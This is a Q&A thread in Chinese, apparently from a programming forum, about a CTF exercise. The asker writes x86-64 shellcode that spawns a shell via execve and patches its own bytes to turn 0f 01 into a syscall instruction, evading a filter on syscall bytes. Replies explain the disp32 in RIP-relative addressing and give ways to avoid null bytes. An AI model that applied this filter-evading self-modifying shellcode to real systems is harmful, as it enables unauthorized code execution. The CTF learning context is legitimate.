Assembly 相对寻址

Assembly 相对寻址,assembly,x86-64,shellcode,Assembly,X86 64,Shellcode,我正在做一些CTF挑战,我有一个程序,检查缓冲区,如果有syscall、sysenter或int80指令,用户输入会被逐字节传递出去 我要做的是编写一个外壳代码,将syscall指令的第二个字节修改为有效字节。也就是说,输入的最后两个字节是\x0f\x01,我希望外壳代码本身将其覆盖为\x0f\x05(系统调用) 因此,原始外壳代码的最后几条指令如下所示: .... 21: 31 c0 xor %eax,%eax 23: 88 47

我正在做一些CTF挑战,我有一个程序,检查缓冲区,如果有syscall、sysenter或int80指令,用户输入会被逐字节传递出去

我要做的是编写一个外壳代码,将syscall指令的第二个字节修改为有效字节。也就是说,输入的最后两个字节是
\x0f\x01
,我希望外壳代码本身将其覆盖为
\x0f\x05
(系统调用)

因此,原始外壳代码的最后几条指令如下所示:

  ....
  21:   31 c0                   xor    %eax,%eax
  23:   88 47 07                mov    %al,0x7(%rdi)
  26:   48 89 7f 08             mov    %rdi,0x8(%rdi)
  2a:   48 89 47 10             mov    %rax,0x10(%rdi)
  2e:   48 8d 77 08             lea    0x8(%rdi),%rsi
  32:   48 89 c2                mov    %rax,%rdx
  35:   b0 3b                   mov    $0x3b,%al
  37:   0f 05                   syscall
另外还有两条重写系统调用的指令:

  ...
  37:   b1 05                   mov    $0x5,%cl
  39:   88 0d 01 00 00 00       mov    %cl,0x1(%rip) 
  3f:   0f 05                   syscall
然而,我看到39是用一些尾随的零编码的,而23(例如23)是相似的,但位置相对于rdi而不是rip,不是

所以我的问题是,这看起来好吗?如果是这样,为什么在rip的情况下会有尾随的零呢。例如,4字节必须遵循的是rip相对寻址特定的东西吗

例如,4字节必须遵循的是rip相对寻址特定的东西吗

对。如果查看指令集参考,第2.2.1.6节RIP相对寻址,您将看到唯一的选项是
RIP+disp32
表示32位位移。如果需要避免零字节,则必须以不同的方式进行。一种可能的解决方法是执行以下操作:

lea -1(%rip), %rax # -1 is needed to avoid zero bytes
movb $5, XX(%rax)  # with appropriate value of `XX`

啊对。零字节实际上没有问题。谢谢^^^加入Jester的答案。。您还可以向前跳转(在未来的
syscall
位置后面),向后修改(
-something(%rip)
),然后跳回新形成的
syscall
。我甚至担心前面的自修改指令可能会滑到某些缓存下,但x86的设计就是为了捕捉这一点,它应该使所有缓存线和预取缓冲区失效,并重新读取要执行的所有内容(只会导致严重的性能损失,但仍能按程序员的预期工作)。这就是通过定位代码来避免零字节。Jester的策略是使用不包含零的算术